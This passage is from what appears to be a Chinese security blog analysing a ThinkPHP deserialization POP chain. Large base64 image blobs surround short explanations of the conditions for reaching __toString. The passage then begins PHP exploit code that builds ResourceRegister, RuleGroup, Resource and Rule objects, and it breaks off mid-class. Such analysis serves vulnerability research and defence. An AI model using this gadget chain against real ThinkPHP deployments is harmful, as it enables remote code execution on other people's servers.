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
|
|||
|
|
<p>首先$rule不能为null,last来源于$rule分割后的最后一个元素</p>
|
|||
|
|
<p><a id=img10 href=https://xzfile.aliyuncs.com/media/upload/picture/20240623140913-1d08d85e-3127-1.png><img src="data:image/png;base64,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
|
|||
|
|
<p><a id=img11 href=https://xzfile.aliyuncs.com/media/upload/picture/20240623141008-3dbe27e8-3127-1.png><img src=data:image/png;base64,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
|
|||
|
|
<p>同理$name和$rest也是,否则都是利用不了滴,还用确保不被continue,不处理$option['only']就行</p>
|
|||
|
|
<p>利用条件$val[1]需要包含<code><id></code>,且$option['var'][$last]不为空,这里就是我们要触发的__toString所对应的对象</p>
|
|||
|
|
<p><a id=img12 href=https://xzfile.aliyuncs.com/media/upload/picture/20240623141036-4eb1d6ee-3127-1.png><img src="data:image/png;base64,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
|
|||
|
|
<p>于是构造出</p>
|
|||
|
|
<div class=highlight><pre><span></span><span class=o><?</span><span class=n>php</span>
|
|||
|
|
<span class=n>namespace</span> <span class=n>think</span><span class=err>\</span><span class=n>route</span><span class=o>{</span>
|
|||
|
|
<span class=kd>class</span> <span class=nc>ResourceRegister</span><span class=o>{</span>
|
|||
|
|
<span class=kd>public</span> <span class=n>$resource</span><span class=o>;</span>
|
|||
|
|
|
|||
|
|
<span class=kd>public</span> <span class=n>function</span> <span class=nf>__construct</span><span class=o>(</span><span class=n>$resource</span><span class=o>)</span> <span class=o>{</span>
|
|||
|
|
<span class=n>$this</span><span class=o>-></span><span class=n>resource</span> <span class=o>=</span> <span class=n>$resource</span><span class=o>;</span>
|
|||
|
|
<span class=o>}</span>
|
|||
|
|
<span class=o>}</span>
|
|||
|
|
|
|||
|
|
<span class=kd>class</span> <span class=nc>RuleGroup</span> <span class=kd>extends</span> <span class=n>Rule</span><span class=o>{</span>
|
|||
|
|
<span class=kd>public</span> <span class=n>function</span> <span class=nf>__construct</span><span class=o>(</span><span class=n>$rule</span><span class=o>,</span> <span class=n>$router</span><span class=o>,</span> <span class=n>$option</span><span class=o>){</span>
|
|||
|
|
<span class=n>parent</span><span class=o>::</span><span class=n>__construct</span><span class=o>(</span><span class=n>$rule</span><span class=o>,</span> <span class=n>$router</span><span class=o>,</span> <span class=n>$option</span><span class=o>);</span>
|
|||
|
|
<span class=o>}</span>
|
|||
|
|
<span class=o>}</span>
|
|||
|
|
|
|||
|
|
<span class=kd>class</span> <span class=nc>Resource</span> <span class=kd>extends</span> <span class=n>RuleGroup</span><span class=o>{</span>
|
|||
|
|
<span class=kd>public</span> <span class=n>function</span> <span class=nf>__construct</span><span class=o>(</span><span class=n>$rule</span><span class=o>,</span> <span class=n>$router</span><span class=o>,</span> <span class=n>$option</span><span class=o>){</span>
|
|||
|
|
<span class=n>parent</span><span class=o>::</span><span class=n>__construct</span><span class=o>(</span><span class=n>$rule</span><span class=o>,</span> <span class=n>$router</span><span class=o>,</span> <span class=n>$option</span><span class=o>);</span>
|
|||
|
|
<span class=o>}</span>
|
|||
|
|
|
|||
|
|
<span class=o>}</span>
|
|||
|
|
|
|||
|
|
<span class=kd>abstract</span> <span class=kd>class</span> <span class=nc>Rule</span><span class=o>{</span>
|
|||
|
|
<span class=kd>public</span> <span class=n>$rest</span> <span class=o>=</span> <span class=o>[</span><span class=err>'</span><span class=n>key</span><span class=err>'</span> <span class=o>=></span> <span class=o>[</span><span class=mi>1</span> <span class=o>=></span> <span class=err>'</span><span class=o><</span><span class=n>id</span><span class=o>></span><span class=err>'</span><span class=o>]];</span>
|
|||
|
|
